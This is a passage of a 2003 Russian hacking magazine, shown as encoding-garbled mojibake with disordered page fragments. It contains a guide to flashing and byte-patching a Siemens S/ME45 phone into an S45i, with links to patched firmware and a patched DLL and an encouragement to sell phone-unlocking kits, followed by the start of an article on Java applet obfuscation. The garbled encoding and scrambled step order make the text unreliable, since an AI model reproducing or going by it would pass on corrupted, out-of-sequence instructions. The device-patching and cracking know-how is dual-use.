áàòàðåéêó - ñáðîñèòü òàê íàçûâàåìûå "áóò-<br />
1 2 3 4<br />
62 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
áëîêè". Ïðîãà è ñàìà èõ ñáðàñûâàåò, êîãäà âûõîäèò,<br />
íî èíîãäà ýòî íóæíî ñäåëàòü âðó÷íóþ...<br />
Åùå äëÿ àïãðåéäà íàì ïîíàäîáèòñÿ: ñàìà ïðîøèâêà<br />
îò S45i âåðñèè 040315, ìîÿ ïðîãðàììà<br />
Siemens EEPROM tool v2.15, ëþáîé øåñòíàäöàòåðè÷íûé<br />
ðåäàêòîð (ñêàæåì, WinHex), áëîê 68<br />
EEPROM'à (íå ñïðàøèâàé ïîêà, ÷òî ýòî òàêîå -<br />
äîëãî îáúÿñíÿòü; ïðîñòî ñêà÷àé ïî ïðèâåäåííîé<br />
ññûëêå - áëîê ýòîò ïðåäñòàâëÿåò ñîáîé äâà ôàéëèêà<br />
ñ ðàñøèðåíèÿìè bin è bid), à òàêæå ïðÿìûå<br />
ðóêè è ðàáîòîñïîñîáíîå ñåðîå âåùåñòâî.<br />
Óíèâåðñàëüíûé (õîòÿ è íåñêîëüêî ãëþ÷íûé)<br />
ôëåøåð äëÿ Ñèìåíñîâ, ïîääåðæèâàþùèé<br />
âñå ìîäåëè<br />
SM45Tools v1.2 by MikG - ëó÷øèé ôëåøåð/àíëîêåð<br />
äëÿ S/ME45!<br />
ØÀÃ ÇÀ ØÀÃÎÌ<br />
Èòàê, ÷åòêèé ïîðÿäîê íàøèõ äåéñòâèé:<br />
1) Ñ÷èòàé è ñîõðàíè áýêàï ôóëôëåøà ñ ïîìîùüþ<br />
SM45Tools. Addr: 000000h, Size: 600000h.<br />
Ðàáîòàåò âñå òàê æå, êàê è ïðè ïðîøèâêå -<br />
æìåøü "Read from flash" è êîðîòêî äàâèøü íà<br />
êðàñíóþ òðóáêó (êñòàòè, íå çàáûâàé ïåðåñòàâëÿòü<br />
áàòàðåéêó ïîñëå ðàáîòû! À òî äðóãèå<br />
ïðîãðàììû òåëåôîí íå óâèäÿò, è ñàì îí<br />
âêëþ÷àòüñÿ íå áóäåò!). Ïîòîì çàéäè âî âêëàäêó<br />
"Configuration" è îáðàòè ñâîé áëàãîñêëîííûé<br />
âçîð íà çíà÷åíèÿ â ðàìî÷êàõ "Flash One"<br />
è "Flash Two". Åñëè òàì ñîîòâåòñòâåííî: ID:<br />
0089, Type: 88C2; ID: 0089, Type: 88C4 èëè ID:<br />
0020, Type: 88CE; Flash Two ID: 0020, Type:<br />
88BA, òî âñå íîðìàëüíî è ìîæåøü ñìåëî àïãðåéäèòü<br />
äàëüøå. Åñëè æå òàì íàáëþäàåòñÿ<br />
ID: 0089, Type: 88C4; ID: 0089, Type: 88Ñ4, òî<br />
ÿ áû íå ðåêîìåíäîâàë àïãðåéäèòüñÿ ïðÿìî<br />
ñåé÷àñ. Íó, òî åñòü, çààïãðåéäèòüñÿ òû ñìîæåøü,<br />
íî åñòü íåêîòîðûå íþàíñû, ñâÿçàííûå<br />
ñ òèïîì ôëåøà òâîåé ìîáèëû (à èìåííî åãî<br />
èäåíòèôèêàòîð ìû è ñìîòðåëè) - SM45Tools<br />
íå ñìîæåò êîððåêòíî ñëèâàòü/çàëèâàòü â íåå<br />
ïåðâûå äâà ìåòðà ôëåøà. Ðåøåíèå ýòîé ïðîáëåìû<br />
ìîæíî íàéòè íà<br />
www.o45m.ru/soft8 (êóñîê ïîä çàãîëîâêîì<br />
"Ðåøåíèå ïðîáëåìû ôëåøà C489"), ëèáî<br />
Èäåàëüíûé âàðèàíò òèïîâ ôëåøåé<br />
Àïãðåéä S/ME45<br />
â S45i<br />
1. Âñÿ âîçìîæíàÿ èíôîðìàöèÿ<br />
îá àïãðåéäå S/ME45 â<br />
S45i. Î÷åíü ðåêîìåíäóåòñÿ ê<br />
âíèìàòåëüíîìó ïðî÷òåíèþ.<br />
http://www.o45m.ru/45-<br />
45i.html<br />
2. Ãîòîâûé ê çàëèâêå â òåëåôîí<br />
ïàò÷åíûé êóñîê ôëåøà<br />
äëÿ àïãðåéäà.<br />
http://www.o45m.ru/ioniza-<br />
tion/s45i-040315-290000-<br />
2dffff-all_fixed.rar<br />
3. Êóñîê ôëåøà äëÿ ðóñèôèêàöèè<br />
e-mail êëèåíòà.<br />
http://www.o45m.ru/ioniza-<br />
tion/s45i-040315-b0000-<br />
dffff-new_font&rus_email.rar<br />
4. Èñïðàâëåííûé 68 áëîê<br />
EEPROM'à.<br />
http://www.o45m.ru/ionization/block68_eepromtool.rar<br />
5. Siemens XTNDConnect -<br />
ðîäíàÿ ïðîãðàììà äëÿ ñèíõðîíèçàöèè<br />
ñ Outlook'îì.<br />
http://www.o45m.ru/software/s45i_4_6_424.zip<br />
6. Ïàò÷åíàÿ dll'êà äëÿ íåå.<br />
http://www.o45m.ru/program/r<br />
stSiemens2.rar
Âçëîì<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÄÅËÎ - ÒÐÓÁÀ<br />
Skylord (sky_lord@mail.ru)<br />
çäåñü ÷óòü íèæå.<br />
2) Ïðîøåé òåëåôîí ïðîøèâêîé S45i_040315. Íà<br />
óäèâëåííûå âîïðîñû WinSwup'à î ìîäåëè òåëåôîíà<br />
è âåðñèè ïðîøèâêè îòâå÷àé ïîëîæèòåëüíî.<br />
3) Ñêà÷àé ôóëôëåø èç òåëåôîíà. Ñêîïèðóé êóäàíèáóäü<br />
íà âñÿêèé ñëó÷àé, à âòîðîé ýêçåìïëÿð îòêðîé<br />
â WinHex è ïðîèçâåäè çàìåíó ñëåäóþùèõ<br />
áàéòîâ (ïîñëåäîâàòåëüíîñòü: àäðåñ, ãäå ëåæèò;<br />
áàéò, êîòîðûé òàì ëåæèò; áàéò, íà êîòîðûé íàäî<br />
çàìåíèòü):<br />
0298AE2: DA CC<br />
0298AE3: CD 00<br />
0298AE4: DC CC<br />
0298AE5: 59 00<br />
02DB73A: 2D 0D<br />
02CB102: 3D 0D<br />
4) Çàëåé èñïðàâëåííûé ôóëôëåø â òåëåôîí.<br />
5) Çàïóñòè Siemens EEPROM tool, âûáåðè COMïîðò,<br />
íàæìè "Init" è, êàê îáû÷íî, äàâè íà êðàñíóþ<br />
òðóáó. Êîãäà ïîÿâÿòñÿ äàííûå î òåëåôîíå, à íà<br />
åãî ýêðàíå áóäåò íàäïèñü "Service mode", íàæìè<br />
êíîïêó "Load" â ëåâîé ÷àñòè îêíà ïðîãðàììû è<br />
îòêðîé ôàéë ñ 68 áëîêîì EEPROM'à. Òåïåðü ñêîïèðóé<br />
åãî èç ëåâîãî ñïèñêà â ïðàâûé "ñòðåëêîé"<br />
è íàæìè "Save selected". Îí çàïèøåòñÿ â ïàìÿòü<br />
òåëåôîíà, è ìîæíî ñ ÷èñòîé ñîâåñòüþ çàêðûòü<br />
ïðîãðàììó.<br />
Siemens EEPROM tool ñ çàãðóæåííûì 68<br />
áëîêîì. ×òî ìîæåò áûòü ïðåêðàñíåå ;-)<br />
KEEP IT SIMPLE<br />
Ãîíÿòü òóäà-ñþäà ôóëôëåø ðàäè øåñòè áàéò - ýòî,<br />
ïî ìåíüøåé ìåðå, íåýêîíîìíî. Ïðàâèëüíåé è áûñòðåå<br />
áûëî áû ïðîñòî çàëèòü èçìåíåííûé êóñîê<br />
(ñàìà ïðîøèâêà-òî ó âñåõ îäèíàêîâàÿ!). Â íàøåì<br />
ñëó÷àå îí óæå ãîòîâ ê óïîòðåáëåíèþ (ñì. ññûëêè),<br />
è îñòàåòñÿ òîëüêî çàãðóçèòü åãî â òåëåôîí ñ ïîìîùüþ<br />
SM45Tools. Îòêðûâàåøü åãî, çàäàåøü Addr:<br />
290000h (ðàçìåð âûñòàâèòñÿ àâòîìàòè÷åñêè),<br />
æìåøü "Write to flash" è óæå ÷åðåç ïîëìèíóòû èìååøü<br />
ïàò÷åíóþ ìîáèëó. Äàííûé ñïîñîá, êñòàòè, êàê<br />
ðàç è ðåêîìåíäóåòñÿ ëþäÿì ñ ôëåøåì Ñ489 - âñå<br />
äîëæíî ðàáîòàòü áåç ïðîáëåì!<br />
Äàëüøå âîò ÷òî... E-mail êëèåíò S45i, êîòîðûé òû,<br />
êîíå÷íî æå, çàõî÷åøü ïîïðîáîâàòü, ñîâåðøåííî íå<br />
ïîíèìàåò ðóññêèõ êîäèðîâîê ÊÎÈ8 è Win1251. Âûõîä<br />
- çàìåíèòü øðèôòû òåëåôîíà. Äîñòèãàåòñÿ ýòà<br />
áëàãàÿ öåëü çàëèòèåì äðóãîãî êóñêà ôëåøà ïî àäðåñó<br />
B0000h (êñòàòè, òàì è ñàìè øðèôòû èçìåíåíû<br />
íà áîëåå ñèìïàòè÷íûå), ïîñëå ÷åãî ïèñüìà â<br />
ÊÎÈ8 áóäóò ÷èòàòüñÿ ïðè ñðåäíåì ðàçìåðå øðèôòà,<br />
à Win1251 - ïðè ìàëåíüêîì (ïåðåêëþ÷åíèå "ðåøåòêîé").<br />
Âîò òîëüêî ýòîò êóñîê íåëüçÿ çàëèâàòü ñ<br />
ïîìîùüþ SM45Tools â ìîáèëû ñ C489. Êàê ðåøèòü<br />
ýòó ïðîáëåìó - ñì. óêàçàííóþ âûøå ññûëêó.<br />
Äà! ×óòü íå çàáûë! Ïðè àïãðåéäå óäàëÿåòñÿ âñå<br />
ñîäåðæèìîå âíóòðåííåãî äèñêà òåëåôîíà, òàê ÷òî<br />
åãî íàäî çàáýêàïèòü îòäåëüíî, ÷òîáû ïîòîì çàëèòü<br />
÷åðåç Data Exchange Software. Ãëàâíîå, ÷òî<br />
òåðÿåòñÿ àäðåñíàÿ êíèãà (ôîðìàò ñòàðîé íå ñîâìåñòèì<br />
ñ S45i), è åñëè òû íå äåðæèøü êîíòàêòû<br />
íà ñèì-êàðòå, òî ïðèäåòñÿ ëèáî âñå ïåðåíàáèâàòü,<br />
ëèáî îïÿòü æå ñêà÷èâàòü ñ êîìïà. Äëÿ ýòèõ<br />
öåëåé ðåêîìåíäóþ îáû÷íûé Outlook - ñíà÷àëà ñî<br />
ñòàðîãî òåëåôîíà ñëèâàåøü âñå ïðîãðàììîé<br />
QuickSinc, à ïîòîì, ïîñëå àïãðåéäà, çàêà÷èâàåøü<br />
îáðàòíî ñ ïîìîùüþ XTNDConnect. Ýòó ïðîãó íàäî<br />
èñïîëüçîâàòü, òàê êàê QuickSinc, îïÿòü æå, íå ðàáîòàåò<br />
ñ S45i. À ÷òîáû íå áûëî ïðîáëåì, ïåðåä<br />
çàêà÷êîé â òåëåôîí çàìåíè ó XTNDConnect'à ôàéë<br />
"rstSiemens2.dll": ïðîñòî ñêà÷àé ïàò÷åíûé, íàéòè<br />
òàêîé æå íà äèñêå (îáû÷íî âàëÿåòñÿ â äåáðÿõ<br />
Program Files) è çàìåíè. Âñå áóäåò ïó÷êîì! :-)<br />
ÊÀÆÄÎÌÓ ÏÎ ÏÎÒÐÅÁÍÎÑÒßÌ<br />
Íó âîò, ýòî è áûë ïðèìåð òîãî, ÷òî äàåò êîïàíèå<br />
â ïðîøèâêå òåëåôîíà. Åñòåñòâåííî, ýòèì àïãðåéäîì<br />
ðåçóëüòàòû ïðîöåññà íå èñ÷åðïûâàþòñÿ.<br />
Ìîæíî (è íóæíî) ðàññêàçàòü î Íåòìîíèòîðå, î<br />
âêëþ÷åíèè ñìåíû ÷àñòîòû GSM 900/1800 (êñòàòè,<br />
èíîãäà î÷åíü ïîìîãàåò óëó÷øèòü ñâÿçü), î äîáàâëåíèè<br />
ðóññêîãî Ò9 â òåëåôîíû C45/M(T)50, î ðèñîâàíèè<br />
ñâîåé ãðàôèêè è øðèôòîâ ìîáèëüíèêà, î<br />
ðåäàêòèðîâàíèè âñåõ íàäïèñåé è òåêñòîâûõ ðåñóðñîâ<br />
è î ìíîãîì äðóãîì ;-). Ïðîãðåññ íå îñòàíàâëèâàåòñÿ,<br />
è ëþäè ïîñòîÿííî ïðèäóìûâàþò<br />
÷òî-íèáóäü íîâîå, ÷òî ìîæíî ñäåëàòü ñî ñâîèì<br />
òåëåôîíîì. Åñëè ïîñëå ïðî÷òåíèÿ ýòîãî ìàòåðèàëà<br />
òû êóïèøü ñåáå êàáåëü äëÿ ïîäêëþ÷åíèÿ ìîáèëû<br />
ê êîìïó è ïîïðîáóåøü ñ íåé ÷òî-íèáóäü<br />
ñäåëàòü - ÿ áóäó ñ÷èòàòü ñâîþ çàäà÷ó âûïîëíåííîé.<br />
À êòî çíàåò - ìîæåò, òû âñåðüåç çàéìåøüñÿ<br />
âçëîìîì ìîáèëüíèêîâ è óæå ÷åðåç ãîä-ïîëòîðà<br />
ñìîæåøü çàðàáàòûâàòü ïî 500 áàêñîâ çà êàæäóþ<br />
êîïèþ êàêîé-íèáóäü ñâîåé ïðîãè (ýòî ñðåäíÿÿ öåíà<br />
íà êîìïëåêòû äëÿ ðàçëî÷êè ñâåæèõ ìîäåëåé<br />
ìîáèë, à âîîáùå äî íåñêîëüêèõ òûñÿ÷ çà îñîáî<br />
õîðîøèå âåùè äîõîäèò...). Ïî-ìîåìó, íåïëîõî ;-).<br />
Òàê ÷òî óäà÷è è óñïåøíûõ âçëîìîâ!<br />
PS: Íå ìîãó íå ïåðåäàòü ðåñïåêòû âñåì òåì, êòî<br />
èìååò îòíîøåíèå ê àïãðåéäó S/ME45. Âîò èìåíà<br />
ýòèõ âåëèêèõ ëþäåé: MikG, DarkBear, Dormidont,<br />
Gnome, SK, Viper_rus, Oss_V, KO(c)Tik. Åñëè êîãî<br />
íå âñïîìíèë - ñîððè ;-).<br />
6) Âêëþ÷àé òåëåôîí. Âñå äîëæíî ðàáîòàòü :-).<br />
Åñëè òåëåôîí íå âêëþ÷àåòñÿ: ãóäèò è/èëè ïèøåò<br />
"Wrong software" - çíà÷èò, òû ñäåëàë ÷òî-òî<br />
íå òàê. Îòêàòûâàéñÿ íà ðàáî÷èé áýêàï. Åñëè òåëåôîí<br />
âêëþ÷àåòñÿ, çàãîðàåòñÿ ïîäñâåòêà, íî íà<br />
ýêðàí íè÷åãî íå âûâîäèòñÿ, çíà÷èò íóæíî ïîïðàâèòü<br />
êîíòðàñòíîñòü. Ïðîñòî "íà îùóïü" ââåäè<br />
PIN, ïîäîæäè, ïîêà òåëåôîí çàãðóçèòñÿ è<br />
íàéäåò ñåòü (ïàðó ðàç ïèñêíåò), ïîñëå ÷åãî æìè<br />
ïðàâóþ ñîôò-êëàâèøó, ÷òîáû âûéòè â ìåíþ, à<br />
ïîòîì äîáèðàéñÿ äî íàñòðîéêè êîíòðàñòà "ïî<br />
öèôðàì": 9-1-2-6, åñëè ó òåáÿ åñòü SIM-Menu,<br />
èëè 8-1-2-6, åñëè íåò. À òàì óæå êóðñîðîì ïîäíèìàé<br />
êîíòðàñò äî íîðìàëüíîé âèäèìîñòè...<br />
Âîò, â îáùåì-òî, è âñå! :-)<br />
Îáùàÿ èíôîðìàöèÿ ïî ìîáèëüíèêàì<br />
1. "Êëóá 45.55" è "ÑèìåíñÊëóá" - äâà öåíòðàëüíûõ ñåòåâûõ<br />
ðåñóðñà ïî òåëåôîíàì Siemens. Ïåðâûé õîðîø îòëè÷íîé<br />
ïîäáîðêîé èíôîðìàöèè, äîêóìåíòàöèåé, ñîëþøåíîâ è<br />
îðèåíòèðîâàí íà ìîäåëè õ45 è õ55. Âî âòîðîì ñàìîå<br />
ãëàâíîå - ýòî ôîðóì, ãäå ïóòåì èñïîëüçîâàíèÿ ïîèñêà<br />
ìîæíî íàéòè ëþáóþ èçâåñòíóþ ìèðó èíôîðìàöèþ î Ñèìåíñàõ,<br />
è àêòèâíî ïîïîëíÿþùàÿñÿ êîëëåêöèÿ ñîôòà.<br />
http://www.o45m.ru/<br />
http://www.siemens-club.ru/<br />
2. GSMforum - ëó÷øèé àíãëîÿçû÷íûé ôîðóì âîîáùå ïî<br />
âñåì ìîáèëüíèêàì. Òàì âñåãäà, îïÿòü æå ïðè óìåëîì èñïîëüçîâàíèè<br />
ïîèñêà, ìîæíî íàéòè ëþáóþ èíôó. È ñàìîå<br />
ñâåæåå òîæå ïî÷òè âñåãäà òàì.<br />
http://www.gsmforum.host-boxcracker.net/<br />
1 2 3 4<br />
64 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Âçëîì<br />
ÇÀÙÈÒÀ JAVA-ÀÏÏËÅÒÎÂ<br />
Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÇÀÙÈÒÀ<br />
JAVA- ÀÏÏËÅÒÎÂ<br />
ÏÐÀÊÒÈ×ÅÑÊÎÅ ÏÎÑÎÁÈÅ Ñ ÊÀÐÒÈÍÊÀÌÈ ;)<br />
 ïðåäûäóùåé ñòàòüå ÿ íàãëÿäíî ïðîäåìîíñòðèðîâàë, êàê íåïðèíóæäåííî ïîèìåòü ëþáîé âðàæåñêèé ÿâà-àïïëåò.<br />
Âìåñòî òîãî ÷òîáû ïëàòèòü íåçíàêîìîìó äÿäå çà ÷èñòûé (áåç çàùèòû) èñõîäíèê, òû ñ ïîìîùüþ ïîäðó÷íûõ ñðåäñòâ<br />
(ê ïðèìåðó, NMI's Java Code Viewer) äåêîìïèëèðóåøü áàéò-êîä è âûêîâûðèâàåøü çàùèòó ðó÷êàìè. Ïîòîì êîìïèëèðóåøü<br />
îáðàòíî è èñïîëüçóåøü â ñâîå óäîâîëüñòâèå. Âñå äîâîëüíî ïðîñòî, áûñòðî è áåñïëàòíî. Âîçíèêàåò ëîãè÷íûé<br />
âîïðîñ: ïîëó÷àåòñÿ, ÷òî ñàìûé ïîñëåäíèé ëàìåð, ñêà÷àâ äåêîìïèëÿòîð èç èíåòà, ñìîæåò áåç òðóäà ïîëîìàòü è<br />
òâîé àïïëåò, êîòîðûé ïî-ñâîåìó óíèêàëåí è íà êîòîðûé òû óáèë êó÷ó ñâîáîäíîãî âðåìåíè Äà, ýòî, êîíå÷íî, òàê,<br />
íî ïðè æåëàíèè òû ìîæåøü ñâåñòè ÷óæèå ïîïûòêè âçëîìà íà íåò. Äëÿ ýòîãî òåáå ïîíàäîáèòñÿ îáôóñêàòîð (obfuscator).<br />
Ýòî íå ðóãàòåëüíîå ñëîâî :). ×òî ýòî òàêîå, ãäå íàäûáàòü è êàê ýòèì ïîëüçîâàòüñÿ, ÿ òåáå ñåé÷àñ ðàññêàæó.<br />
ÐÀÇÍÎÂÈÄÍÎÑÒÈ ÇÀÙÈÒÛ<br />
Ñêîëüêî îáôóñêàòîðîâ - ñòîëüêî è àëãîðèòìîâ çàùèòû.<br />
Íî âñå èõ ìîæíî óñëîâíî ðàçäåëèòü íà òðè<br />
êàòåãîðèè ïî ñïîñîáó ìîäèôèêàöèè áàéò-êîäà:<br />
èçìåíåíèå ñòðóêòóðû ïðîãðàììû, èçìåíåíèå ïîòîêà<br />
óïðàâëåíèÿ è èçìåíåíèå ñòðóêòóðû äàííûõ.<br />
Íàèáîëåå ýôôåêòèâíû èçìåíåíèå ïîòîêà óïðàâëåíèÿ<br />
è èçìåíåíèå ñòðóêòóðû äàííûõ, îñîáåííî<br />
åñëè â êà÷åñòâå çàùèòû èñïîëüçóåòñÿ òàíäåì ýòèõ<br />
àëãîðèòìîâ.<br />
ÇÀÙÈÒÀ: ÈÇÌÅÍÅÍÈÅ ÑÒÐÓÊÒÓÐÛ<br />
ÏÐÎÃÐÀÌÌÛ<br />
Ýòî ñàìàÿ ðàñïðîñòðàíåííàÿ è îòíîñèòåëüíî ïðîñòàÿ<br />
ïî ñóòè çàùèòà, êîòîðóþ ðåàëèçóþò âñå áåç<br />
èñêëþ÷åíèÿ îáôóñêàòîðû. Óäàëÿåòñÿ îòëàäî÷íàÿ<br />
èíôîðìàöèÿ (åå ðîæàåò îòëàä÷èê ïðè êîìïèëÿöèè)<br />
è êîììåíòàðèè, à èñõîäíûå èìåíà ìåòîäîâ è<br />
ïåðåìåííûõ çàìåíÿþòñÿ áåññìûñëåííîé (ñëó÷àéíîé)<br />
êîðîòêîé ïîñëåäîâàòåëüíîñòüþ ñèìâîëîâ.<br />
Ýòî äåëàåò êîä ìåíåå èíôîðìàòèâíûì. Êðîìå òîãî,<br />
â ðåçóëüòàòå ÷èñòêè ðàçìåð áàéò-êîäà óìåíüøàåòñÿ<br />
â 1,5-2 ðàçà, ïîýòîìó òàêàÿ îáôóñêàöèÿ<br />
÷àñòî èñïîëüçóåòñÿ è êàê îäèí èç ñïîñîáîâ îïòè<br />
ìèçàöèè êîäà.<br />
ÇÀÙÈÒÀ: ÈÇÌÅÍÅÍÈÅ ÏÎÒÎÊÀ<br />
ÓÏÐÀÂËÅÍÈß<br />
Áîëåå ñëîæíàÿ çàùèòà, âíåäðÿþùàÿ â êîä äîïîëíèòåëüíûå<br />
óñëîâíûå îïåðàòîðû è, ñëåäîâàòåëüíî,<br />
ëîæíûå ëîãè÷åñêèå ðàçâÿçêè.  ðåçóëüòàòå èçìåíÿåòñÿ<br />
ñïîñîá ãðóïïèðîâêè âûðàæåíèé, ïîðÿäîê<br />
âûïîëíåíèÿ îïåðàòîðîâ èëè ñêðûâàåòñÿ îò äåêîìïèëÿòîðà<br />
ðåàëüíûé ïîòîê óïðàâëåíèÿ.<br />
Ïîÿñíþ íà íàãëÿäíîì ñõåìàòè÷åñêîì ïðèìåðå.<br />
Äîïóñòèì, â êîäå åñòü äâà ôóíêöèîíàëüíûõ áëîêà<br />
A è B, êîòîðûå âûïîëíÿþòñÿ áåçóñëîâíî è ïîñëåäîâàòåëüíî.<br />
Åñëè ïðèìåíèòü ðàññìàòðèâàåìóþ<br />
çàùèòó, òî îäíà èç âîçìîæíûõ ðåàëèçàöèé ïîäîáíîãî<br />
àëãîðèòìà ñëåäóþùàÿ - áóäåò äîáàâëåí äîïîëíèòåëüíûé<br />
áëîê, îáðàçóþùèé ïðè ïîìîùè<br />
îïåðàòîðà óñëîâíîãî ïåðåõîäà ðàçâÿçêó ñ äâóìÿ<br />
âåòâëåíèÿìè. Ñäåëàòü ýòî ìîæíî êàê ìèíèìóì<br />
òðåìÿ ñïîñîáàìè:<br />
1-ÛÉ ÑÏÎÑÎÁ<br />
Ìåæäó áëîêàìè A è B âíåäðÿåòñÿ óñëîâíûé áëîê<br />
IF, îäíà èç ëîãè÷åñêèõ âåòîê (ïðè ëîæíîì óñëîâèè)<br />
êîòîðîãî èäåò â îáõîä áëîêà B. Íî óñëîâèå â<br />
áëîêå IF âñåãäà çàâåäîìî "èñòèíà", ïîýòîìó àïïëåò<br />
âûïîëíÿåòñÿ êîððåêòíî. Ëîæíîå âåòâëåíèå<br />
íåîáõîäèìî, ÷òîáû ñáèòü ñ òîëêó äåêîìïèëÿòîð è<br />
óñëîæíèòü àíàëèç êîäà ïîñëå äåêîìïèëÿöèè.<br />
2-ÎÉ ÑÏÎÑÎÁ<br />
Èç áëîêà B êëîíèðóåòñÿ äâà áëîêà B' è B", ÿâëÿþùèõñÿ<br />
äâóìÿ èäåíòè÷íûìè êîïèÿìè îäíîãî è òîãî<br />
æå áëîêà B. Äàëåå îíè øèôðóþòñÿ ïî-ðàçíîìó,<br />
ñîõðàíÿÿ ïðè ýòîì ñâîþ ôóíêöèîíàëüíîñòü. Àïïëåò<br />
îñòàåòñÿ ðàáîòîñïîñîáíûì, à âûïîëíÿåòñÿ<br />
òîëüêî îäèí èç áëîêîâ (B' èëè B") â çàâèñèìîñòè<br />
îò óñëîâèÿ â áëîêå IF, êîòîðîå ãåíåðèðóåòñÿ ñëó-<br />
÷àéíûì îáðàçîì. Íåïðåäñêàçóåìàÿ ëîâóøêà äëÿ<br />
äåêîìïèëÿòîðà è çàðÿäêà äëÿ ìîçãîâ :).<br />
3-ÈÉ ÑÏÎÑÎÁ<br />
Èç áëîêà B êëîíèðóåòñÿ äâà áëîêà B' è B" àíàëîãè÷íî<br />
ïðåäûäóùåìó ñïîñîáó, íî â áëîê B" âíîñÿòñÿ<br />
ôàòàëüíûå èçìåíåíèÿ, ïîñëå êîòîðûõ áëîê<br />
B" ðàáîòàåò íåêîððåêòíî. Ïðè ýòîì â áëîêå IF<br />
âñåãäà ãåíåðèðóåòñÿ óñëîâèå äëÿ âûáîðà âåòâè ñ<br />
B'. Âìåñòî áëîêà B" ìîæåò áûòü ïîäñòàâëåí ñîâåðøåííî<br />
ëþáîé ôóíêöèîíàëüíûé áëîê, íå èìåþùèé<br />
íèêàêîãî îòíîøåíèÿ ê äàííîé ïðîãðàììå.<br />
Äåêîìïèëÿòîð ýòîãî âñå ðàâíî íå çíàåò :).<br />
Ýòî î÷åíü óïðîùåííûé ïðèìåð äëÿ íàãëÿäíîñòè.<br />
Ðåàëüíî äåëà îáñòîÿò íàìíîãî ñëîæíåå. Ïðîùå<br />
ãîâîðÿ, ïîñëå ïðèìåíåíèÿ ýòîé çàùèòû ïîÿâëÿþòñÿ<br />
ñîâåðøåííî ëåâûå ëîãè÷åñêèå âåòâè, íå<br />
âëèÿþùèå íà ðàáîòîñïîñîáíîñòü àïïëåòà. Â ðåçóëüòàòå<br />
ýòîãî ïîñëå äåêîìïèëÿöèè ïîÿâëÿåòñÿ<br />
êó÷à ìóñîðà, êîòîðàÿ ïðåâðàòèò àíàëèç ïîëó÷åííîãî<br />
"èñõîäíèêà" â çàòÿæíîé êîøìàð.<br />
ÇÀÙÈÒÀ: ÈÇÌÅÍÅÍÈÅ ÑÒÐÓÊÒÓÐÛ ÄÀÍÍÛÕ<br />
Ñàìûé ïðîäâèíóòûé ñïîñîá çàùèòû, ïîçâîëÿþùèé<br />
ïîëíîñòüþ èçìåíèòü ïåðâîíà÷àëüíóþ ñòðóêòóðó<br />
áàéò-êîäà. Øèôðîâàííûé êîä óñëîæíÿåòñÿ<br />
1 2 3 4<br />
66 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ÊÒÎ ÒÀÊÈÅ ÎÁÔÓÑÊÀÒÎÐÛ<br />
Java ïîëó÷èëà äîâîëüíî øèðîêîå ðàñïðîñòðàíåíèå, àïïëåòû - óæå íå ðåäêîñòü â èíåòå. Ïðè<br />
ýòîì èñõîäíûé êîä òðàíñëèðóåòñÿ íå â ìàøèííûé, à â ÿçûê âèðòóàëüíîé ìàøèíû Java (JVM).<br />
Ýòî äàåò îïðåäåëåííûå ïðåèìóùåñòâà: íåçàâèñèìîñòü îò àðõèòåêòóðû (ïåðåíîñèìîñòü), äèíàìè÷åñêàÿ<br />
êîìïîíîâêà è íåáîëüøîé ðàçìåð ïîëó÷àåìîãî áàéò-êîäà. Íî åñòü è äðóãàÿ ñòîðîíà<br />
ìåäàëè: áàéò-êîä íåñåò â ñåáå äîñòàòî÷íî èíôîðìàöèè, ñ ïîìîùüþ êîòîðîé ïîëó÷èòü èñõîäíèê<br />
íà ÿçûêå Java íå ïðåäñòàâëÿåò áîëüøîãî òðóäà. Äëÿ ýòîãî ñóùåñòâóþò ðàçëè÷íûå äåêîìïèëÿòîðû,<br />
äåëàþùèå ïðîãðàììû íà Java ïðàêòè÷åñêè áåççàùèòíûìè ïåðåä æåëàþùèìè çàãëÿíóòü<br />
ïîãëóáæå. Òóò è ïðèõîäÿò íà ïîìîùü îáôóñêàòîðû - ïðîãðàììû äëÿ çàùèòû áàéò-êîäà<br />
îò âçëîìà.<br />
<br />
Ñàìî çíà÷åíèå "obfuscate" äîñëîâíî ñ ïèíãâèíñêîãî ïåðåâîäèòñÿ êàê çàïóòûâàòü, îçàäà÷èâàòü,<br />
ñáèâàòü ñ òîëêó, ñòàâèòü â òóïèê. À ïîä îáôóñêàöèåé ïîíèìàåòñÿ ïðåîáðàçîâàíèå êîäà<br />
ñ öåëüþ ìàêñèìàëüíî çàòðóäíèòü åãî àíàëèç è ìîäèôèêàöèþ. Ñóòü ðàáîòû ëþáîãî îáôóñêàòîðà<br />
àïïëåòîâ - ñ ïîìîùüþ îïðåäåëåííîãî àëãîðèòìà âíåñòè â áàéò-êîä èçìåíåíèÿ, çíà÷èòåëüíî<br />
çàòðóäíÿþùèå êîððåêòíóþ äåêîìïèëÿöèþ, ñîõðàíèâ ïðè ýòîì ðàáîòîñïîñîáíîñòü ñàìîé<br />
ïðîãðàììû. Ïîñëå äåêîìïèëÿöèè áàéò-êîäà ñ çàùèòîé áóäåò ïðîùå çàñòðåëèòüñÿ, ÷åì ðàçîáðàòüñÿ<br />
â ïîëó÷èâøèõñÿ "èñõîäíèêàõ" :).<br />
íàñòîëüêî, ÷òî âîññîçäàíèå èñõîäíîãî êîäà ñòàíîâèòñÿ<br />
ïðàêòè÷åñêè íåâîçìîæíûì. Àëãîðèòìîâ è<br />
ìåòîäîâ ýòîé çàùèòû ñóùåñòâóåò äîâîëüíî ìíîãî.<br />
Âîò òîëüêî íåêîòîðûå èç ðåàëèçóåìûõ ïîäõîäîâ:<br />
- óñëîæíÿåòñÿ íàñëåäîâàíèå ïðè ïîìîùè ñîçäàíèÿ<br />
äîïîëíèòåëüíûõ êëàññîâ (óâåëè÷èâàþùèõ äåðåâî<br />
íàñëåäîâàíèÿ) èëè èñïîëüçîâàíèÿ ëîæíîãî<br />
äðîáëåíèÿ êëàññîâ;<br />
- ìàññèâû ðåñòðóêòóðèçèðóþòñÿ óâåëè÷åíèåì èëè<br />
ñîêðàùåíèåì èõ ðàçìåðíîñòè (ïóòåì èõ îáúåäèíåíèÿ<br />
èëè äðîáëåíèÿ);<br />
- ìåòîäû êëîíèðóþòñÿ, à â ïîëó÷åííûå êëîíû îäíîãî<br />
è òîãî æå ìåòîäà âíîñÿòñÿ ðàçëè÷íûå çàïóòûâàþùèå<br />
èçìåíåíèÿ;<br />
